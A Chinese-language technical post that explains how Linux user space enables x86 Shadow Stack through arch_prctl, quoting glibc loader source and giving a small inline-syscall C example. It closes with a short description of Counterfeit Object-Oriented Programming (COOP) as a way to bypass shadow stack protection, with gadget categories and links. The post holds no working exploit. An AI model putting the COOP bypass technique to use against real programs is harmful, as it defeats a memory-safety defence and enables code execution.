用户态启用 SHSTK 底层实现

Linux 用户态动态开关 Shadow Stack 主要依赖 arch_prctl 系统调用:

arch_prctl(ARCH_SHSTK_ENABLE, unsigned long feature)
    启用‘feature’指定的特性。一次只能操作一个特性。

arch_prctl(ARCH_SHSTK_DISABLE, unsigned long feature)
    关闭‘feature’指定的特性。一次只能操作一个特性。

arch_prctl(ARCH_SHSTK_LOCK, unsigned long features)
    锁定特性的启用或关闭状态。‘features’ 是所有需要锁定的特性的遮罩(按位或)。没有按位或设定的特性的锁定状态不变,之后无法再启用或关闭已锁定的特性。

arch_prctl(ARCH_SHSTK_UNLOCK, unsigned long features)
    锁定特性。‘features’ 是所有需要解锁的特性的遮罩。没有按位或设定的特性的锁定状态不变。只能在 ptrace 时使用。

arch_prctl(ARCH_SHSTK_STATUS, unsigned long addr)
    将当前启用的特性拷贝到 addr 地址处。特性启用状态描述方式同上述用法中传入的 ‘features’。

可指定的特性:
    ARCH_SHSTK_SHSTK - Shadow stack
    ARCH_SHSTK_WRSS  - WRSS

Glibc 动态链接器 ld.so 中有关启用 SHSTK 的源码sysdeps/unix/sysv/linux/x86_64/dl-cet.h):

/* 用宏启用 shadow stack 以避免调用栈下溢。(刚启用时 shadow stack 为空,此时若返回将触发保护。)*/
#define ENABLE_X86_CET(cet_feature)                \
  if ((cet_feature & GNU_PROPERTY_X86_FEATURE_1_SHSTK))        \
    {                                \
      long long int kernel_feature = ARCH_SHSTK_SHSTK;        \
      INTERNAL_SYSCALL_CALL (arch_prctl, ARCH_SHSTK_ENABLE,    \
                 kernel_feature);            \
    }

#define X86_STRINGIFY_1(x)    #x
#define X86_STRINGIFY(x)    X86_STRINGIFY_1 (x)

/* 如果已在 GL(dl_x86_feature_1) 启用,则在调用 _dl_init 前启用 shadow stack。调用 _dl_setup_x86_features 以初始化 shadow stack。*/
#define RTLD_START_ENABLE_X86_FEATURES \
"\
    # 检查 shadow stack 是否已在 GL(dl_x86_feature_1) 启用。\n\
    movl _rtld_local+" X86_STRINGIFY (RTLD_GLOBAL_DL_X86_FEATURE_1_OFFSET) "(%rip), %edx\n\
    testl $" X86_STRINGIFY (X86_FEATURE_1_SHSTK) ", %edx\n\
    jz 1f\n\
    # 如果在 GL(dl_x86_feature_1) 中启用,启用 shadow stack。\n\
    movl $" X86_STRINGIFY (ARCH_SHSTK_SHSTK) ", %esi\n\
    movl $" X86_STRINGIFY (ARCH_SHSTK_ENABLE) ", %edi\n\
    movl $" X86_STRINGIFY (__NR_arch_prctl) ", %eax\n\
    syscall\n\
1:\n\
    # 将 GL(dl_x86_feature_1) 传参给 _dl_cet_setup_features。\n\
    movl %edx, %edi\n\
    # 为调用 _dl_cet_setup_features 对齐栈指针。\n\
    andq $-16, %rsp\n\
    call _dl_cet_setup_features\n\
    # 从 %r12 和 %r13 恢复 %rax 和 %rsp。\n\
    movq %r12, %rax\n\
    movq %r13, %rsp\n\
"

所以其实可以这样手动在程序中使用 shadow stack 而无需依赖 glibc ld:

#include <stdio.h>

#define ENABLE_SHSTK                                                           \
    asm("mov $0x5001, %rdi;"                                                   \
        "mov $0x1, %rsi;"                                                      \
        "mov $158, %rax;"                                                      \
        "syscall;");

#define DISABLE_SHSTK                                                          \
    asm("mov $0x5002, %rdi;"                                                   \
        "mov $0x1, %rsi;"                                                      \
        "mov $158, %rax;"                                                      \
        "syscall;");

int main(void) {
    ENABLE_SHSTK
    puts("hello, world!");
    DISABLE_SHSTK
    return 0;
}

SHSTK 内核底层实现

SHSTK 的 arch_prctl 最后会转到 shstk_prctl,SHSTK 的主要逻辑就在 arch/x86/kernel/shstk.c。这里没什么好分析的,因为 SHSTK 本身由硬件实现,内核只负责检查传入参数、管理 shadow stack 内存页、设置相关寄存器等。

在申请 shadow stack 内存页 do_mmap 时,flags 参数传入了一个新的标志 VM_SHADOW_STACK,这样 mmap 会额外申请一个保护页(guard page),这个页一旦被读写就会触发段错误。Shadow stack 调用栈指针(ssp)移动方式有 pushpopincssp 指令,其中 incssp 指令移动 ssp 后会其相邻内存,且一次最多只能移动 2040 字节。加入 guard page 后可以防止程序通过 incssp 指令将 ssp 移动到非法内存区。

SHSTK 启用后的攻击思路

Shadow Stack 启用后,传统的 ROP 等技术失效,但并非无法做到类似链式 gadgets 的任意代码执行。可以采用一种叫“伪面向对象编程”(Counterfeit Object-Oriented Programming / COOP)的新技术,其基本思路是在类似 C++ 的面向对象语言中通过修改虚函数表为 vfgadgets 来达到类似 ROP 的效果。vfgadget 分为 Main Loop Gadget(将其他 gadgets 串联起来)、Argument Loader Gadget(类似 ROP 中的 pop rdi; ret;)、Invoker Gadget(类似 ROP 中的 system)、Collector Gadget(存储 Invoker 的返回值)。

img

搜寻 vfgadgets 的工具(类似 ropper):https://github.com/x86-512/VXpp

COOP 详解:https://www.offsec.com/blog/bypassing-intel-cet-with-counterfeit-objects/

实际用了下,只有在较大型的程序里可能凑齐 vfgadgets,不容易实现攻击。